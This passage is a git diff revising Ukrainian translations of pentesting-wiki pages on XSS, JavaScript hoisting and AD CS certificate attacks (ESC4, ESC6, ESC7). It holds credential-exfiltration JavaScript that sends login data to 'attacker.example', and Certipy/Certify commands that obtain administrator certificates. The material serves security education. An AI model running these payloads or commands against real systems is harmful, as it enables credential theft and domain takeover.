[тут](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Prerequisites for CSS Injection +#### Попередні умови для CSS Injection -Щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови: +Для того, щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови: -1. **Payload Length**: CSS injection vector має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані селектори. -2. **CSS Re-evaluation**: Ви повинні мати можливість фреймити сторінку, що необхідно для ініціації повторної оцінки CSS з новими payloads. -3. **External Resources**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено Content Security Policy (CSP) сайту. +1. **Payload Length**: Вектор CSS Injection має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані selectors. +2. **CSS Re-evaluation**: Потрібно мати можливість frame-увати сторінку, що необхідно для тригера повторної оцінки CSS зі щойно згенерованими payloads. +3. **External Resources**: Техніка припускає можливість використовувати зовнішньо розміщені зображення. Це може бути обмежено Content Security Policy (CSP) сайту. ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Це дуже корисно, коли ви не маєте уявлення про вміст веб-сторінки, яка завантажує CSS injection.\ -Також можна використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у: +Як [**пояснено в цьому дописі**](https://portswigger.net/research/blind-css-exfiltration), можна комбінувати селектори **`:has`** та **`:not`** для виявлення вмісту навіть з blind elements. Це дуже корисно, коли ви не маєте уявлення, що знаходиться на веб-сторінці, яка завантажує CSS injection.\ +Також можливо використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у: ```html ``` -### Захоплення автозаповнених паролів +### Auto-fill passwords capture ```javascript Username:
@@ -1417,11 +1422,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Коли в поле password вводяться будь-які дані, username і password відправляються на attackers server, навіть якщо клієнт вибирає saved password і нічого не вводить, credentials будуть ex-filtrated. +Коли в поле пароля вводяться будь-які дані, ім'я користувача та пароль відправляються на сервер нападника — навіть якщо клієнт вибирає збережений пароль і нічого не вводить, the credentials will be ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Якщо критичний handler (e.g., `function DoLogin(){...}`) оголошується пізніше на сторінці, а ваш payload виконується раніше (e.g., via an inline JS-in-JS sink), визначте `const` з тим самим іменем спочатку, щоб перехопити та заблокувати handler. Пізніші оголошення функцій не можуть перепризначити ім'я `const`, залишаючи ваш hook під контролем: +Якщо критичний handler (наприклад, `function DoLogin(){...}`) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, via an inline JS-in-JS sink), визначте `const` з тим же ім'ям спочатку, щоб перехопити й зафіксувати handler. Подальші оголошення функцій не можуть перевизначити `const`-ім'я, залишаючи ваш hook під контролем: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1430,18 +1435,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Примітки -- Це покладається на порядок виконання: ваша ін'єкція має виконатися до легітимного оголошення. -- Якщо ваш payload загорнуто в `eval(...)`, `const/let` прив'язки не стануть глобальними. Використайте динамічну ` ``` -### Викрадення повідомлень PostMessage +### Перехоплення повідомлень PostMessage ```html @@ -1556,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Доступ до прихованого вмісту -З [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах у різних об'єктах. Наприклад, введення REGEX все ще можна знайти навіть після того, як значення поля вводу regex було видалено: +З [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах у різних об'єктах. Наприклад, input для REGEX все ще можна знайти навіть після того, як значення цього input для regex було видалено: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1573,7 +1578,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force список +### Brute-Force List {{#ref}} @@ -1582,35 +1587,35 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ## XSS — використання інших вразливостей -### XSS у Markdown +### XSS in Markdown -Можна інжектувати код Markdown, який буде відрендеровано? Можливо, ви зможете отримати XSS! Перевірте: +Чи можна інжектувати Markdown-код, який буде відрендеровано? Можливо, так ви отримаєте XSS! Перевірте: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS у SSRF +### XSS to SSRF -Отримали XSS на **сайті, що використовує кешування**? Спробуйте **підвищити це до SSRF** через Edge Side Include Injection за допомогою цього payload: +Знайшли XSS на **сайті, що використовує кешування**? Спробуйте **підвищити його до SSRF** через Edge Side Include Injection за допомогою цього payload: ```python ``` -Use it to bypass cookie restrictions, XSS filters and much more!\ +Використовуйте це, щоб обійти обмеження cookie, XSS-фільтри та багато іншого!\ Більше інформації про цю техніку тут: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS in dynamic created PDF -Якщо веб-сторінка створює PDF, використовуючи введені користувачем дані, ви можете спробувати **обдурити the bot**, який створює PDF, щоб він **виконав довільний JS code**.\ -Отже, якщо **PDF creator bot знаходить** якусь форму **HTML** **тегів**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб спричинити **Server XSS**. +Якщо веб-сторінка створює PDF, використовуючи вхідні дані, контрольовані користувачем, ви можете спробувати **обдурити bot**, який створює PDF, щоб він **виконав довільний JS code**.\ +Тож, якщо **PDF creator bot finds** певні **HTML** **tags**, він їх буде **інтерпретувати**, і ви можете **abuse** цю поведінку, щоб спричинити **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Якщо ви не можете інжектувати HTML теги, може бути варто спробувати **inject PDF data**: +Якщо ви не можете інжектувати HTML-теги, може бути корисно спробувати **inject PDF data**: {{#ref}} @@ -1619,15 +1624,15 @@ pdf-injection.md ### XSS in Amp4Email -AMP, спрямований на прискорення роботи веб-сторінок на мобільних пристроях, використовує HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites). -The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format розширює певні AMP компоненти для електронних листів, дозволяючи одержувачам взаємодіяти з вмістом безпосередньо в листах. +Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює певні компоненти AMP для електронних листів, дозволяючи одержувачам взаємодіяти з контентом безпосередньо у своїх листах. Приклад [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS uploading files (svg) -Завантажте як зображення файл на кшталт наведеного нижче (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Завантажте як зображення файл, схожий на наступний (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1683,16 +1688,16 @@ id="foo"/> ```xml ``` -Знайдіть **більше SVG payloads на** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Знайдіть **більше SVG payloads у** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Різні JS трюки & Relevant Info +## Різні JS трюки та відповідна інформація {{#ref}} other-js-tricks.md {{#endref}} -## XSS ресурси +## Ресурси XSS - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 9d2cdbc79..bd4f2dd54 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Основна інформація +## Basic Information -У мові JavaScript існує механізм, відомий як **Hoisting**, при якому оголошення змінних, функцій, класів або імпортів концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить по скрипту в кілька проходів. +У мові JavaScript існує механізм, відомий як **Hoisting**, коли оголошення змінних, функцій, класів або imports концептуально піднімаються на початок їхньої області видимості перед виконанням коду. Цей процес автоматично виконує JavaScript-движок, який проходить скрипт у кілька проходів. -Під час першого проходу движок парсить код для перевірки синтаксичних помилок і перетворює його у абстрактне синтаксичне дерево. Ця фаза включає hoisting, процес, у якому певні оголошення переміщуються на початок контексту виконання. Якщо фаза парсингу пройшла успішно, тобто синтаксичних помилок не виявлено, виконання скрипта продовжується. +Під час першого проходу движок парсить код, перевіряє синтаксичні помилки та перетворює його в abstract syntax tree. Ця фаза включає hoisting — процес, коли певні оголошення переміщуються на верх контексту виконання. Якщо фаза парсингу пройшла успішно (без синтаксичних помилок), виконується сам скрипт. Важливо розуміти, що: -1. Скрипт має бути вільним від синтаксичних помилок, щоб відбулося його виконання. Правила синтаксису потрібно суворо дотримуватися. -2. Розташування коду в скрипті впливає на виконання через hoisting, хоча виконуваний код може відрізнятися від його текстового представлення. +1. Скрипт повинен бути вільним від синтаксичних помилок, щоб виконання відбулося. Синтаксичні правила мають дотримуватися строго. +2. Розміщення коду в межах скрипта впливає на виконання через hoisting, хоча виконуваний код може відрізнятись від його текстового представлення. -#### Типи Hoisting +#### Types of Hoisting -Згідно з інформацією з MDN, у JavaScript існує чотири різні типи hoisting: +На основі інформації з MDN, у JavaScript є чотири різні типи hoisting: -1. **Value Hoisting**: Дозволяє використовувати значення змінної в межах її області видимості до рядка її оголошення. -2. **Declaration Hoisting**: Дозволяє звертатися до змінної в межах її області видимості до її оголошення без виклику `ReferenceError`, але значення змінної буде `undefined`. -3. Цей тип змінює поведінку в межах області видимості через те, що оголошення змінної опиняється перед її фактичною рядком оголошення. +1. **Value Hoisting**: Дозволяє використовувати значення змінної в її області видимості до рядка її оголошення. +2. **Declaration Hoisting**: Дозволяє посилатися на змінну в її області видимості до її оголошення без `ReferenceError`, проте значення змінної буде `undefined`. +3. Цей тип змінює поведінку в межах області видимості через оголошення змінної до фактичного рядка її оголошення. 4. Побічні ефекти оголошення відбуваються до того, як буде оцінено решту коду, що його містить. -Детальніше: оголошення функцій демонструють поведінку hoisting типу 1. Ключове слово `var` проявляє поведінку типу 2. Лексичні оголошення, які включають `let`, `const` і `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4. +Детальніше: function declarations демонструють поведінку типу 1. Ключове слово `var` демонструє поведінку типу 2. Лексичні декларації, які включають `let`, `const` та `class`, показують поведінку типу 3. Нарешті, `import` statements унікальні тим, що вони піднімаються з поведінкою як типу 1, так і типу 4. -## Сценарії +## Scenarios -Отже, якщо у вас є сценарії, де ви можете **впровадити JS-код після використання неоголошеного об'єкта**, ви можете **виправити синтаксис**, оголосивши його (щоб ваш код виконався замість того, щоб спричинити помилку): +Отже, якщо у вас є сценарії, де ви можете **Inject JS code after an undeclared object** is used, ви можете **fix the syntax** шляхом його оголошення (щоб ваш код виконався замість того, щоб кидати помилку): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -129,9 +129,9 @@ alert(1) - } trigger() ``` -### Запобігайте пізнішим оголошенням, заблокувавши ім'я за допомогою const +### Запередити пізніші декларації, заблокувавши ім'я за допомогою const -Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим же іменем (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції перевизначити цей ідентифікатор. Цим можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці: +Якщо ви можете виконатися до того, як на верхньому рівні буде розібрано `function foo(){...}`, оголошення лексичного зв'язування з тим самим ім'ям (наприклад, `const foo = ...`) завадить пізнішому оголошенню функції переназначити цей ідентифікатор. Це можна зловживати в RXSS, щоб перехопити критичні обробники, визначені пізніше на сторінці: ```javascript // Malicious code runs first (e.g., earlier inline
-ESC4 має місце, коли користувач має права запису над шаблоном сертифіката. Це, наприклад, може бути використано для перезапису конфігурації шаблону сертифіката з метою зробити шаблон вразливим до ESC1. +ESC4 — це випадок, коли користувач має права запису на шаблон сертифіката. Цим, наприклад, можна зловживати, перезаписавши конфігурацію шаблона сертифіката, щоб зробити шаблон вразливим до ESC1. -Як видно з шляху вище, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має новий зв'язок `AddKeyCredentialLink` з `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Нижче — невеликий приклад використання команди Certipy `shadow auto` для отримання NT hash жертви. +Як видно в наведеному вище шляху, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має нове ребро `AddKeyCredentialLink` до `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, відому як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ось невеликий огляд команди Certipy’s `shadow auto` для отримання NT hash жертви. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** може перезаписати конфігурацію шаблону сертифіката однією командою. За **замовчуванням**, Certipy **перезаписує** конфігурацію, щоб зробити її **вразливою до ESC1**. Ми також можемо вказати **`-save-old` параметр для збереження старої конфігурації**, що буде корисно для **відновлення** конфігурації після нашої атаки. +**Certipy** може перезаписати конфігурацію шаблону сертифіката однією командою. За **замовчуванням**, Certipy **перезапише** конфігурацію, зробивши її **вразливою до ESC1**. Ми також можемо вказати **параметр `-save-old`, щоб зберегти стару конфігурацію**, що буде корисно для **відновлення** конфігурації після нашої атаки. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -181,33 +181,33 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Пояснення -Широка мережа взаємопов’язаних стосунків на основі ACL, яка включає кілька об’єктів за межами certificate templates та certificate authority, може вплинути на безпеку всієї системи AD CS. Ці об’єкти, що можуть суттєво вплинути на безпеку, включають: +Широка мережа взаємопов'язаних зв'язків на основі ACL, яка включає кілька об'єктів, окрім шаблонів сертифікатів і сертифікаційного центру, може впливати на безпеку всієї системи AD CS. Ці об'єкти, що суттєво впливають на безпеку, охоплюють: -- Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми на кшталт S4U2Self або S4U2Proxy. -- RPC/DCOM сервер CA-сервера. -- Будь-який дочірній AD-об'єкт або контейнер у межах конкретного шляху контейнера `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Цей шлях включає, але не обмежується, контейнерами та об'єктами такими як the Certificate Templates container, the Certification Authorities container, the NTAuthCertificates object та the Enrollment Services Container. +- AD computer object серверу CA, який може бути скомпрометований за допомогою механізмів на кшталт S4U2Self або S4U2Proxy. +- RPC/DCOM server серверу CA. +- Будь-який нащадковий AD object або контейнер у межах конкретного шляху `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Цей шлях включає, але не обмежується, контейнерами та об'єктами такими як Certificate Templates container, Certification Authorities container, NTAuthCertificates object та Enrollment Services Container. -Безпека PKI-системи може бути підірвана, якщо атакуючий з низькими привілеями отримає контроль над будь-яким із цих критичних компонентів. +Безпека PKI-системи може бути порушена, якщо атакуючий з низькими привілеями отримає контроль над будь-яким із цих критичних компонентів. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Пояснення -Тема, розглянута в [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як це окреслено Microsoft. Ця конфігурація, коли вона активована на Certification Authority (CA), дозволяє включати **значення, визначені користувачем** у **subject alternative name** для **будь-якого запиту**, включно з тими, що формуються з Active Directory®. Відповідно, це дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для доменної **authentication** — зокрема ті, що відкриті для реєстрації **unprivileged** користувачами, як-от стандартний User template. У результаті може бути отримано сертифікат, який дає змогу зловмиснику автентифікуватися як domain administrator або **будь-яка інша активна сутність** в домені. +Тема, висвітлена в пості [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як це описано Microsoft. Ця конфігурація, коли вона активована на Certification Authority (CA), дозволяє включати **користувацькі значення** в **subject alternative name** для **будь-якого запиту**, включно з тими, що сформовані з Active Directory®. Відповідно, це дає змогу **зловмисникові** зареєструватися через **будь-який шаблон**, налаштований для автентифікації домену — зокрема ті, що відкриті для реєстрації неповноважними користувачами, як-от стандартний User template. Внаслідок цього можна отримати сертифікат, який дозволяє зловмисникові автентифікуватися як адміністратор домену або **будь-який інший активний об'єкт** у домені. -**Примітка**: Підхід для додавання **alternative names** в Certificate Signing Request (CSR) через аргумент `-attrib "SAN:"` в `certreq.exe` (що називають “Name Value Pairs”) відрізняється від стратегії експлуатації SAN у ESC1. Тут різниця полягає в тому, **як інформація про обліковий запис інкапсулюється** — у атрибуті сертифіката, а не в розширенні. +**Примітка**: Підхід для додавання **alternative names** у Certificate Signing Request (CSR) через аргумент `-attrib "SAN:"` в `certreq.exe` (згадуваний як “Name Value Pairs”) відрізняється від стратегії експлуатації SAN у ESC1. Різниця полягає в тому, як інформація про обліковий запис інкапсулюється — у вигляді атрибуту сертифіката, а не розширення. ### Зловживання -Щоб перевірити, чи налаштування активовано, організації можуть виконати наступну команду за допомогою `certutil.exe`: +Щоб перевірити, чи налаштування активовано, організації можуть скористатися наступною командою з `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Ця операція фактично використовує **remote registry access**, отже альтернативний підхід може бути таким: +Ця операція по суті використовує **remote registry access**, отже альтернативний підхід може бути таким: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Інструменти на кшталт [**Certify**](https://github.com/GhostPack/Certify) і [**Certipy**](https://github.com/ly4k/Certipy) здатні виявляти цю некоректну конфігурацію та експлуатувати її: +Інструменти на кшталт [**Certify**](https://github.com/GhostPack/Certify) і [**Certipy**](https://github.com/ly4k/Certipy) можуть виявляти цю неправильну конфігурацію та експлуатувати її: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -216,39 +216,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Щоб змінити ці налаштування, за умови, що особа володіє правами **domain administrative** або еквівалентними, наступну команду можна виконати з будь-якої робочої станції: +Щоб змінити ці налаштування, за умови наявності прав **domain administrative** або еквівалентних, з будь-якої робочої станції можна виконати таку команду: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Щоб вимкнути цю конфігурацію у вашому середовищі, цей flag можна видалити за допомогою: +Щоб вимкнути цю конфігурацію у вашому середовищі, цей прапорець можна видалити за допомогою: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Після оновлень безпеки May 2022 новостворені **сертифікати** міститимуть **розширення безпеки**, яке включає **властивість `objectSid` запитувача**. Для ESC1 цей SID походить від вказаного SAN. Однак для **ESC6** SID віддзеркалює **`objectSid` запитувача**, а не SAN.\ +> Після оновлень безпеки травня 2022 року нововидані **сертифікати** міститимуть **розширення безпеки**, яке включає **`objectSid` властивість запитувача**. Для ESC1 цей SID походить зі вказаного SAN. Однак для **ESC6** SID відображає **`objectSid` запитувача**, а не SAN.\ > Щоб експлуатувати ESC6, система має бути вразливою до ESC10 (Weak Certificate Mappings), який віддає пріоритет **SAN над новим розширенням безпеки**. -## Уразливий контроль доступу сертифікаційного центру (CA) - ESC7 +## Уразливий контроль доступу центру сертифікації - ESC7 ### Атака 1 #### Пояснення -Контроль доступу до сертифікаційного центру реалізується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, запустивши `certsrv.msc`, клацнувши правою кнопкою миші по CA, вибравши Properties, а потім перейшовши на вкладку Security. Крім того, дозволи можна перелічити за допомогою модуля PSPKI командами, наприклад: +Контроль доступу до центру сертифікації здійснюється за допомогою набору дозволів, що керують діями CA. Ці дозволи можна переглянути, відкривши `certsrv.msc`, клацнувши правою кнопкою миші на CA, вибравши Properties, а потім перейшовши на вкладку Security. Додатково, дозволи можна перелічити за допомогою модуля PSPKI такими командами: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Це дає уявлення про основні права, а саме **`ManageCA`** та **`ManageCertificates`**, що відповідають ролям “адміністратор CA” та “менеджер сертифікатів” відповідно. +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively. #### Abuse -Наявність прав **`ManageCA`** на сертифікаційному органі дозволяє суб'єкту змінювати налаштування віддалено за допомогою PSPKI. Це включає переключення прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу вказування SAN у будь-якому шаблоні, що є критичною умовою для ескалації в домені. +Наявність права **`ManageCA`** на центр сертифікації дозволяє суб’єкту змінювати налаштування дистанційно за допомогою PSPKI. Це включає переключення прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, щоб дозволити вказувати SAN у будь-якому шаблоні — критичний компонент ескалації в домені. -Спростити цей процес можна за допомогою PSPKI’s **Enable-PolicyModuleFlag** cmdlet, що дозволяє вносити зміни без прямої взаємодії з GUI. +Спрощення цього процесу досягається за допомогою cmdlet'а PSPKI **Enable-PolicyModuleFlag**, що дозволяє вносити зміни без прямої взаємодії з GUI. -Наявність прав **`ManageCertificates`** полегшує схвалення очікуваних запитів, фактично обходячи захист "CA certificate manager approval". +Наявність права **`ManageCertificates`** дозволяє схвалювати очікувані запити, фактично обходячи захист «погодження менеджера сертифікатів CA». -Комбінацію модулів **Certify** та **PSPKI** можна використати для запиту, схвалення та завантаження сертифіката: +Комбінація модулів **Certify** та **PSPKI** може бути використана для запиту, схвалення та завантаження сертифіката: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -269,28 +269,26 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Пояснення > [!WARNING] -> У **попередній атаці** **`Manage CA`** дозволи були використані, щоб **увімкнути** прапорець **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, доки служба CA (`CertSvc`) не буде перезапущена. Коли користувач має право доступу `Manage CA`, йому також дозволено **перезапускати службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати out of the box** у більшості запатчених середовищ через оновлення безпеки травня 2022 року. - -Отже, тут представлено іншу атаку. +> У **попередній атаці** **`Manage CA`** права доступу були використані, щоб **увімкнути** прапорець **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 attack**, але це не матиме жодного ефекту, доки служба CA (`CertSvc`) не буде перезапущена. Коли користувач має `Manage CA` право доступу, йому також дозволено **перезапустити службу**. Проте це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 might not work out of the box** у більшості патчених середовищ через оновлення безпеки May 2022. Передумови: - Тільки **`ManageCA` дозвіл** -- **`Manage Certificates`** дозвіл (може бути надано з **`ManageCA`**) +- **`Manage Certificates`** дозвіл (може бути наданий з **`ManageCA`**) - Шаблон сертифіката **`SubCA`** має бути **увімкнений** (може бути увімкнений з **`ManageCA`**) -Техніка базується на тому, що користувачі з правом доступу `Manage CA` _та_ `Manage Certificates` можуть **ініціювати невдалі запити на сертифікат**. Шаблон сертифіката **`SubCA`** є **вразливим до ESC1**, але **лише адміністратори** можуть зареєструватися у цьому шаблоні. Отже, **користувач** може **запитати** реєстрацію у **`SubCA`** — яка буде **відхилена** — але **потім буде видана менеджером**. +Техніка спирається на те, що користувачі з правами доступу `Manage CA` _та_ `Manage Certificates` можуть **issue failed certificate requests**. Шаблон сертифіката `SubCA` є **vulnerable to ESC1**, але **тільки адміністратори** можуть зареєструватися в цьому шаблоні. Отже, **користувач** може **request** реєстрацію у `SubCA` — яка буде **denied** — але **потім issued менеджером**. #### Зловживання -Ви можете **наділити себе правом `Manage Certificates`** додавши свого користувача як нового офіцера. +Ви можете **надати собі `Manage Certificates`** право доступу, додавши свого користувача як нового офіцера. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Шаблон **`SubCA`** можна **увімкнути на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон `SubCA` увімкнено. +Шаблон **`SubCA`** можна **увімкнути на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон **`SubCA`** увімкнено. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -302,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Якщо ми виконали передумови для цієї атаки, ми можемо почати з **запиту сертифіката на основі шаблону `SubCA`**. +Якщо ми виконали передумови для цієї атаки, можемо почати з **запиту certificate на основі шаблону `SubCA`**. -**Цей запит буде відмовле**но, але ми збережемо private key і запишемо request ID. +**Цей запит буде відхилен**о, але ми збережемо private key і запишемо request ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -316,14 +314,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -З нашими **`Manage CA` and `Manage Certificates`**, ми можемо потім **випустити сертифікат для невдалого запиту** за допомогою команди `ca` та параметра `-issue-request `. +Маючи наші **`Manage CA` та `Manage Certificates`**, ми можемо потім **видавати сертифікат для невдалого запиту** за допомогою команди `ca` і параметра `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` і параметра `-retrieve `. +І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` та параметра `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -335,67 +333,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Атака 3 – Зловживання розширеннями Manage Certificates (SetExtension) +### Атака 3 – Manage Certificates Extension Abuse (SetExtension) #### Пояснення -На додаток до класичних зловживань ESC7 (включаючи увімкнення EDITF атрибутів або затвердження очікуючих запитів), **Certify 2.0** відкрив новий примітив, який потребує лише роль *Manage Certificates* (теж відома як **Certificate Manager / Officer**) на Enterprise CA. +Окрім класичних зловживань ESC7 (уключення EDITF атрибутів або затвердження очікуваних запитів), **Certify 2.0** виявив новий примітив, який вимагає лише роль *Manage Certificates* (також відома як **Certificate Manager / Officer**) на Enterprise CA. -RPC-метод `ICertAdmin::SetExtension` може бути виконаний будь-яким суб'єктом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень у **pending** запитах, нападник може зловживати ним, щоб **додати *нестандартне* розширення сертифіката** (наприклад користувацький OID *Certificate Issuance Policy* типу `1.1.1.1`) до запиту, який чекає на затвердження. +RPC-метод `ICertAdmin::SetExtension` може бути виконаний будь-яким обліковим записом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень у **pending** запитах, атака дозволяє додати *незвичне* розширення сертифіката (наприклад кастомний OID *Certificate Issuance Policy*, такий як `1.1.1.1`) до запиту, що чекає на затвердження. -Оскільки цільовий template **не визначає значення за замовчуванням для цього розширення**, CA НЕ перезапише контрольоване атакуючим значення, коли запит буде виданий. В результаті сертифікат містить розширення, обране атакуючим, яке може: +Оскільки цільовий шаблон **не визначає значення за замовчуванням** для 